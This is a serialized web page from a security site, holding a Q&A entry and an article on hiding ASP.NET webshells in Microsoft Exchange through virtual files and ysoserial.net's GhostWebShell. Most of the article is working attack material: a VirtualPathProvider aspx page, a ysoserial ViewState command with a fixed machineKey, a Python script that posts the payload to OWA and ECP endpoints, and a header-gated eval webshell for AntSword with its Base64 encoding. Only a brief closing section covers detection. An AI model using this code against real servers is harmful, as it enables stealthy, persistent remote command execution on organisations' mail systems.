[{"data":1,"prerenderedAt":-1},["ShallowReactive",2],{"$fgQnLcztN7X_Ich9x-seRYaum25QJYpUqIH7ILcMWe4E":3},{"id":4,"question":5,"answer":6,"answerHtml":7,"slug":8,"keywords":9,"article":10,"status":33,"aiModel":30,"aiConfidence":30,"updatedAt":50,"createdAt":50,"_status":49},800,"How does GhostWebShell from ysoserial.net improve upon the basic virtual file webshell?","GhostWebShell eliminates the dependency on a physical trigger file by combining the virtual file technique with .NET deserialization. Instead of relying on a real `.aspx` file, it uses a crafted `ViewState` payload (via a known `machineKey`) to trigger the creation of the virtual path provider and the webshell during the page lifecycle. This makes the webshell completely fileless on disk—the virtual file is created in memory—significantly increasing stealth. The approach is particularly effective in Exchange environments where attackers can modify `web.config` to set a known `machineKey` for deserialization.","\u003Cp>GhostWebShell eliminates the dependency on a physical trigger file by combining the virtual file technique with .NET deserialization. Instead of relying on a real `.aspx` file, it uses a crafted `ViewState` payload (via a known `machineKey`) to trigger the creation of the virtual path provider and the webshell during the page lifecycle. This makes the webshell completely fileless on disk—the virtual file is created in memory—significantly increasing stealth. The approach is particularly effective in Exchange environments where attackers can modify `web.config` to set a known `machineKey` for deserialization.\u003C\u002Fp>\u003Cp>\u003Ca href=\"\u002Fnews\u002Fpenetration-techniques-hiding-asp-net-webshells-using-virtual-files\">Read the related One Day Sec article\u003C\u002Fa>\u003C\u002Fp>","how-does-ghostwebshell-from-ysoserialnet-improve-upon-the-basic-virtual-file-web-1777481981092","GhostWebShell, ysoserial.net, deserialization, fileless, ViewState, machineKey, Exchange",{"id":11,"title":12,"slug":13,"description":14,"content":15,"contentHtml":27,"cover":30,"author":31,"views":19,"readingTime":32,"status":33,"publishedAt":34,"seo":35,"tags":39,"qaPairs":40,"meta":46,"updatedAt":47,"createdAt":48,"_status":49},197,"Penetration Techniques - Hiding ASP.NET Webshells Using Virtual Files","penetration-techniques-hiding-asp-net-webshells-using-virtual-files","Learn to hide ASP.NET webshells using VirtualPathProvider for virtual files, exploit Exchange vulnerabilities, and implement defensive detection strategies.",{"root":16},{"type":17,"format":18,"indent":19,"version":20,"children":21,"direction":29},"root","",0,1,[22],{"type":23,"format":18,"indent":19,"version":20,"children":24,"direction":29},"paragraph",[25],{"mode":26,"text":27,"type":28,"style":18,"detail":19,"format":19,"version":20},"normal","\u003Chtml>\u003Chead>\u003C\u002Fhead>\u003Cbody>\u003Ch2>0x00 Preface\u003C\u002Fh2>\u003Cp>---\u003C\u002Fp>\u003Cp>Using ASP.NET's VirtualPathProvider class, virtual files can be created to achieve the following effect: the virtual file does not exist in the server's file system but can be dynamically compiled and accessed. ysoserial.net's GhostWebShell.cs provides an exploitable approach for learning purposes.\u003C\u002Fp>\u003Cp>This article will introduce the exploitation methods of virtual files, building on ysoserial.net's GhostWebShell.cs to discuss exploitation techniques in Exchange environments, including open-source code, detailed records, and defensive recommendations.\u003C\u002Fp>\u003Ch2>0x01 Introduction\u003C\u002Fh2>\u003Cp>---\u003C\u002Fp>\u003Cp>This article will cover the following topics:\u003C\u002Fp>\u003Cul>\u003Cli>Exploitation of VirtualPathProvider in Exchange\u003C\u002Fli>\u003Cli>Exploitation of DotNet Deserialization in Exchange\u003C\u002Fli>\u003Cli>Defensive Detection\u003C\u002Fli>\u003C\u002Ful>\u003Ch2>0x02 Exploitation of VirtualPathProvider in Exchange\u003C\u002Fh2>\u003Cp>---\u003C\u002Fp>\u003Cp>References:\u003C\u002Fp>\u003Cp>https:\u002F\u002Fdocs.microsoft.com\u002Fen-us\u002Fdotnet\u002Fapi\u002Fsystem.web.hosting.virtualpathprovider?view=netframework-4.8\u003C\u002Fp>\u003Cp>In implementation, it is necessary to inherit the VirtualPathProvider class and override two methods: FileExists and GetFile. After registering the VirtualPathProvider and creating an instance, implement the creation of virtual files.\u003C\u002Fp>\u003Cp>Example code:\u003C\u002Fp>\u003Ctable>\u003Ctbody>\u003Ctr>\u003Ctd>\u003Cp>&lt;%@ Page Language=\"C#\" AutoEventWireup=\"true\" validateRequest=\"false\" EnableViewStateMac=\"false\" %&gt;\u003Cbr>&lt;%@ Import Namespace=\"System.Web.Hosting\" %&gt;\u003Cbr>&lt;%@ Import Namespace=\"System.Web.Compilation\" %&gt;\u003Cbr>&lt;%@ Import Namespace=\"System.IO\" %&gt;\u003Cbr>&lt;%@ Import Namespace=\"System.Reflection\" %&gt;\u003Cbr>&lt;%@ Import Namespace=\"System.Security.Cryptography\" %&gt;\u003Cbr>\u003Cscript runat=\"server\">\u003Cbr>\u003Cbr>    public class DeferredPathProvider : VirtualPathProvider\u003Cbr>    {\u003Cbr>        public DeferredPathProvider() : base()\u003Cbr>        {\u003Cbr>        }\u003Cbr>\u003Cbr>        public bool IsTargetVirtualPath(string virtualPath)\u003Cbr>        {\u003Cbr>            string path = VirtualPathUtility.ToAppRelative(virtualPath);\u003Cbr>            return path.StartsWith(\"~\u002Fdeferred\", StringComparison.InvariantCultureIgnoreCase);\u003Cbr>        }\u003Cbr>\u003Cbr>        public override VirtualFile GetFile(string virtualPath)\u003Cbr>        {\u003Cbr>            if (IsTargetVirtualPath(virtualPath))\u003Cbr>            {\u003Cbr>                return new DeferredVirtualFile(this, virtualPath);\u003Cbr>            }\u003Cbr>            else\u003Cbr>            {\u003Cbr>                return Previous.GetFile(virtualPath);\u003Cbr>            }\u003Cbr>        }\u003Cbr>\u003Cbr>        public override bool FileExists(string virtualPath)\u003Cbr>        {\u003Cbr>            return IsTargetVirtualPath(virtualPath) ? true : Previous.FileExists(virtualPath);\u003Cbr>        }\u003Cbr>    }\u003Cbr>\u003Cbr>    public class DeferredVirtualFile : VirtualFile\u003Cbr>    {\u003Cbr>        DeferredPathProvider provider = null;\u003Cbr>\u003Cbr>        public DeferredVirtualFile(DeferredPathProvider provider, string virtualFile) : base(virtualFile)\u003Cbr>        {\u003Cbr>            this.provider = provider;\u003Cbr>        }\u003Cbr>\u003Cbr>        public override Stream Open()\u003Cbr>        {\u003Cbr>        Stream stream = new MemoryStream();\u003Cbr>\u003Cbr>        StreamWriter writer = new StreamWriter(stream);\u003Cbr>        writer.Write(\"\u003C%@ Page Language=\\\"C#\\\" AutoEventWireup=\\\"true\\\" %>\\r\\n\" +\u003Cbr>            \"\u003C% Response.Write(\\\"Compiled on the fly :)\\\"); %>\");\u003Cbr>        writer.Flush();\u003Cbr>        stream.Seek(0, SeekOrigin.Begin);\u003Cbr>\u003Cbr>        return stream;\u003Cbr>        }\u003Cbr>    }\u003Cbr>\u003Cbr>    private Page handler = null;\u003Cbr>    public void Page_Load()\u003Cbr>    {\u003Cbr>        DeferredPathProvider provider = new DeferredPathProvider();\u003Cbr>        typeof(HostingEnvironment).GetMethod(\"RegisterVirtualPathProviderInternal\",\u003Cbr>        BindingFlags.Static | BindingFlags.InvokeMethod | BindingFlags.NonPublic)\u003Cbr>        .Invoke(null, new object[] { provider });\u003Cbr>        \u003Cbr>        handler = (Page) BuildManager.CreateInstanceFromVirtualPath(\"~\u002Fdeferred.aspx\", typeof(Page));\u003Cbr>        handler.ProcessRequest(HttpContext.Current);\u003Cbr>    }\u003Cbr>\u003Cbr>    protected override void Render(HtmlTextWriter writer)\u003Cbr>    {\u003Cbr>    }\u003Cbr>\u003C\u002Fscript>\u003C\u002Fp>\u003C\u002Ftd>\u003C\u002Ftr>\u003C\u002Ftbody>\u003C\u002Ftable>\u003Cp>\u003Cstrong>Note:\u003C\u002Fstrong>\u003C\u002Fp>\u003Cp>Code from https:\u002F\u002Fkernel32.org\u002Fposts\u002Fevading-anti-virus-by-using-dynamic-code-generation-and-reflection\u002F\u003C\u002Fp>\u003Cp>Tested on Exchange as follows:\u003C\u002Fp>\u003Cp>Save location: %ExchangeInstallPath%\\FrontEnd\\HttpProxy\\owa\\auth\\test1.aspx\u003C\u002Fp>\u003Cp>Access URL: https:\u002F\u002F\u003Curl>\u002Fowa\u002Fauth\u002Ftest1.aspx\u002Fdeferred.aspx, returns: Compiled on the fly :), virtual file successfully accessed\u003C\u002Furl>\u003C\u002Fp>\u003Cp>\u003Cstrong>Note:\u003C\u002Fstrong>\u003C\u002Fp>\u003Cp>Accessible path for virtual file: https:\u002F\u002F\u003Curl>\u002Fowa\u002Fauth\u002Ftest1.aspx\u002F\u003Cany characters=\"\">\u003C\u002Fany>\u003C\u002Furl>\u003C\u002Fp>\u003Cp>When creating virtual files, compilation files are generated in the temporary directory, default location: C:\\Windows\\Microsoft.NET\\Framework64|Framework\\\u003Cversion>\\Temporary ASP.NET Files\\owa\\\u003Chash1>\\\u003Chash2>\\\u003C\u002Fhash2>\u003C\u002Fhash1>\u003C\u002Fversion>\u003C\u002Fp>\u003Cp>File name: test1.aspx.\u003Chash3>.compiled\u003C\u002Fhash3>\u003C\u002Fp>\u003Cp>If the original file test1.aspx is deleted, the virtual file will also become invalid and inaccessible.\u003C\u002Fp>\u003Cp>Although this method of implementing a Webshell can hide the real file content, it relies on the file, making it easy to remove and lacking sufficient stealth.\u003C\u002Fp>\u003Cp>Using ysoserial.net's GhostWebShell.cs precisely solves this problem and improves stealth.\u003C\u002Fp>\u003Ch2>0x03 Exploitation of DotNet Deserialization\u003C\u002Fh2>\u003Cp>---\u003C\u002Fp>\u003Cp>Reference code:\u003C\u002Fp>\u003Cp>https:\u002F\u002Fgithub.com\u002Fpwntester\u002Fysoserial.net\u002Fblob\u002Fmaster\u002FExploitClass\u002FGhostWebShell.cs\u003C\u002Fp>\u003Cp>Test environment:\u003C\u002Fp>\u003Cp>Obtained Exchange file read\u002Fwrite permissions, enabling modification of %ExchangeInstallPath%\\FrontEnd\\HttpProxy\\owa\\web.config and %ExchangeInstallPath%\\FrontEnd\\HttpProxy\\ecp\\web.config, setting the machineKey content as follows:\u003C\u002Fp>\u003Cp>\u003Cmachinekey validationkey=\"CB2721ABDAF8E9DC516D621D8B8BF13A2C9E8689A25303BF\" decryptionkey=\"E9D2490BD0075B51D1BA5288514514AF\" validation=\"SHA1\" decryption=\"3DES\">\u003C\u002Fmachinekey>\u003C\u002Fp>\u003Cp>For .Net deserialization command execution at these two locations, valid user credentials are no longer required.\u003C\u002Fp>\u003Cp>Here, %ExchangeInstallPath%\\FrontEnd\\HttpProxy\\owa\\auth\\errorFE.aspx is selected, with the corresponding generator being 042A94E8.\u003C\u002Fp>\u003Cp>The parameters for generating ViewState using ysoserial.net are as follows:\u003C\u002Fp>\u003Ctable>\u003Ctbody>\u003Ctr>\u003Ctd>\u003Cp>ysoserial.exe -p ViewState -g ActivitySurrogateSelectorFromFile -f LosFormatter -c \"ghostfile.cs;System.Web.dll;System.dll;\" --validationalg=\"SHA1\" --validationkey=\"CB2721ABDAF8E9DC516D621D8B8BF13A2C9E8689A25303BF\" --generator=\"042A94E8\"\u003C\u002Fp>\u003C\u002Ftd>\u003C\u002Ftr>\u003C\u002Ftbody>\u003C\u002Ftable>\u003Cp>Send ViewState using the following code:\u003C\u002Fp>\u003Ctable>\u003Ctbody>\u003Ctr>\u003Ctd>\u003Cp># encoding: UTF-8\u003Cbr>import requests\u003Cbr>import re\u003Cbr>import sys\u003Cbr>import os\u003Cbr>import json\u003Cbr>import urllib3\u003Cbr>urllib3.disable_warnings()\u003Cbr>\u003Cbr>from urllib.parse import quote\u003Cbr>import urllib.parse\u003Cbr>\u003Cbr>if __name__ == '__main__':\u003Cbr>    if len(sys.argv)!=4:\u003Cbr>        note = '''\u003Cbr>Usage:\u003Cbr>    \u003Curl> \u003Ckey> \u003Cpath>\u003Cbr>\u003Cpath>: owa or ecp\u003Cbr>\u003Cbr>eg.    \u003Cbr>    {0} 192.168.1.1 CB2721ABDAF8E9DC516D621D8B8BF13A2C9E8689A25303BF owa\u003Cbr>    {1} mail.test.com CB2721ABDAF8E9DC516D621D8B8BF13A2C9E8689A25303BF ecp    \u003Cbr>        '''\u003Cbr>        print(note.format(sys.argv[0],sys.argv[0]))\u003Cbr>        sys.exit(0)\u003Cbr>    else:\u003Cbr>        targeturl = \"\";\u003Cbr>        generator = \"\"; \u003Cbr>        try:\u003Cbr>            if sys.argv[3] == \"owa\":\u003Cbr>                targeturl = \"https:\u002F\u002F\" + sys.argv[1] + \"\u002Fowa\u002Fauth\u002FerrorFE.aspx\";\u003Cbr>                generator = \"042A94E8\";\u003Cbr>\u003Cbr>            elif sys.argv[3] == \"ecp\":\u003Cbr>                targeturl = \"https:\u002F\u002F\" + sys.argv[1] + \"\u002Fecp\u002Fauth\u002FTimeoutLogout.aspx\";\u003Cbr>                generator = \"277B1C2A\";\u003Cbr>            else:\u003Cbr>                print(\"[!] Wrong input\");\u003Cbr>\u003Cbr>            print(\"[*] TargetURL: \" + targeturl)\u003Cbr>\u003Cbr>            out_payload = \"\u003Cviewstate data=\"\">\"\u003Cbr>\u003Cbr>            body = {\"__VIEWSTATEGENERATOR\": generator,\"__VIEWSTATE\": out_payload}\u003Cbr>            postData = urllib.parse.urlencode(body).encode(\"utf-8\")\u003Cbr>\u003Cbr>            headers = {\u003Cbr>                \"User-Agent\": \"Mozilla\u002F5.0 (Windows NT 6.3; Win64; x64) AppleWebKit\u002F537.36 (KHTML, like Gecko) Chrome\u002F81.0.4044.129 Safari\u002F537.36xxxxx\",\u003Cbr>                \"Content-Type\":\"application\u002Fx-www-form-urlencoded\"\u003Cbr>            } \u003Cbr>            status = requests.post(url=targeturl, headers=headers, data=postData, verify=False, timeout=15)\u003Cbr>\u003Cbr>            print(status.status_code)\u003Cbr>            print(status.headers)\u003Cbr>            print(status.text)\u003Cbr>\u003Cbr>        except Exception as e:\u003Cbr>            print(\"[!] Error:%s\"%(e))\u003Cbr>            exit(0)\u003C\u002Fviewstate>\u003C\u002Fpath>\u003C\u002Fpath>\u003C\u002Fkey>\u003C\u002Furl>\u003C\u002Fp>\u003C\u002Ftd>\u003C\u002Ftr>\u003C\u002Ftbody>\u003C\u002Ftable>\u003Cp>Access https:\u002F\u002F\u003Curl>\u002Fowa\u002Fauth\u002Ffakepath31337\u002F\u003Cany character=\"\">.aspx, returns: This is the attacker's file - running on the server if this 1337 is 1337., virtual file successfully accessed\u003C\u002Fany>\u003C\u002Furl>\u003C\u002Fp>\u003Cp>This method does not rely on files, improving stealth\u003C\u002Fp>\u003Cp>Next, modify GhostWebShell.cs to implement webshell functionality\u003C\u002Fp>\u003Cp>Set virtual directory as root directory, example access URL: https:\u002F\u002F\u003Curl>\u002Fowa\u002Fauth\u002F\u003Cany character=\"\">.aspx\u003C\u002Fany>\u003C\u002Furl>\u003C\u002Fp>\u003Cp>To avoid accidental access, add access conditions with Header validation, redirect to error page errorFE.aspx if conditions not met\u003C\u002Fp>\u003Cp>One-line test code:\u003C\u002Fp>\u003Ctable>\u003Ctbody>\u003Ctr>\u003Ctd>\u003Cp>&lt;%@ Page Language=\"Jscript\"%&gt;&lt;%\u003Cbr>if(Request.Headers[\"Value\"]==\"00HGAT3K0AXHV2RF2W0G\")\u003Cbr>{\u003Cbr>eval(Request.Item[\"antsword\"],\"unsafe\");\t\u003Cbr>}\u003Cbr>else\u003Cbr>{\u003Cbr>Response.Redirect(\"\u002Fowa\u002Fauth\u002FerrorFE.aspx?httpCode=404\");\u003Cbr>}\u003Cbr>%&gt;\u003C\u002Fp>\u003C\u002Ftd>\u003C\u002Ftr>\u003C\u002Ftbody>\u003C\u002Ftable>\u003Cp>When connecting with AntSword, you need to set the HTTP HEADERS as follows:\u003C\u002Fp>\u003Ctable>\u003Ctbody>\u003Ctr>\u003Ctd>\u003Cp>Name: Value\u003Cbr>Value: 00HGAT3K0AXHV2RF2W0G\u003C\u002Fp>\u003C\u002Ftd>\u003C\u002Ftr>\u003C\u002Ftbody>\u003C\u002Ftable>\u003Cp>The Base64-encoded string is: PCVAIFBhZ2UgTGFuZ3VhZ2U9IkpzY3JpcHQiJT48JQppZihSZXF1ZXN0LkhlYWRlcnNbIlZhbHVlIl09PSIwMEhHQVQzSzBBWEhWMlJGMlcwRyIpCnsKZXZhbChSZXF1ZXN0Lkl0ZW1bImFudHN3b3JkIl0sInVuc2FmZSIpOwkKfQplbHNlCnsKUmVzcG9uc2UuUmVkaXJlY3QoIi9vd2EvYXV0aC9lcnJvckZFLmFzcHg\u002FaHR0cENvZGU9NDA0Iik7Cn0KJT4=\u003C\u002Fp>\u003Cp>Replace the webshellContentsBase64 in GhostWebShell.cs\u003C\u002Fp>\u003Cp>The complete Python implementation code has been uploaded to GitHub at the following address:\u003C\u002Fp>\u003Cp>An open-source project\u003C\u002Fp>\u003Cp>The code supports deserialization execution at two locations: the default existing files %ExchangeInstallPath%\\FrontEnd\\HttpProxy\\owa\\auth\\errorFE.aspx and %ExchangeInstallPath%\\FrontEnd\\HttpProxy\\ecp\\auth\\TimeoutLogout.aspx. It can automatically generate GhostWebShell.cs with webshell functionality, using ysoserial.net to generate ViewState and send it.\u003C\u002Fp>\u003Cp>The complete C# implementation code has been uploaded to GitHub at the following address:\u003C\u002Fp>\u003Cp>An open-source project\u003C\u002Fp>\u003Cp>The code functionality is the same as above, can be directly compiled and executed, no longer dependent on ysoserial.net\u003C\u002Fp>\u003Cp>\u003Cstrong>Note:\u003C\u002Fstrong>\u003C\u002Fp>\u003Cp>To facilitate testing under Exchange, I modified GhostWebShell.cs into an aspx file, which can be directly accessed for testing. The code address is as follows:\u003C\u002Fp>\u003Cp>An open-source project\u003C\u002Fp>\u003Ch2>0x04 Defense Detection\u003C\u002Fh2>\u003Cp>---\u003C\u002Fp>\u003Cp>ASP.NET Webshell created using virtual files, no longer requires writing aspx files. For defense, monitor compilation files generated in the temporary directory, default location: C:\\Windows\\Microsoft.NET\\Framework64|Framework\\\u003Cversion>\\Temporary ASP.NET Files\\owa\\\u003Chash1>\\\u003Chash2>\\\u003C\u002Fhash2>\u003C\u002Fhash1>\u003C\u002Fversion>\u003C\u002Fp>\u003Cp>It should be noted that attackers can delete the compilation files after generating them\u003C\u002Fp>\u003Ch2>0x05 Summary\u003C\u002Fh2>\u003Cp>---\u003C\u002Fp>\u003Cp>This article introduces the exploitation methods of virtual files, targeting the Exchange environment, covering the use of VirtualPathProvider and DotNet deserialization, and provides defense recommendations.\u003C\u002Fp>\u003C\u002Fbody>\u003C\u002Fhtml>","text","ltr",null,"Onedaysec",5,"published","2026-02-02T07:38:21.199Z",{"title":36,"description":14,"keywords":37,"ogImage":30,"canonicalUrl":30,"noIndex":38},"Hiding ASP.NET Webshells with Virtual Files & Exchange Exploitation","ASP.NET webshell, VirtualPathProvider, Exchange exploitation, DotNet deserialization, penetration techniques, defensive detection",false,[],{"docs":41,"hasNextPage":38},[42,43,44,4,45],803,802,801,799,{"title":30,"description":30,"image":30},"2026-07-24T02:07:18.801Z","2026-07-23T16:02:07.177Z","draft","2026-07-23T16:14:49.160Z"]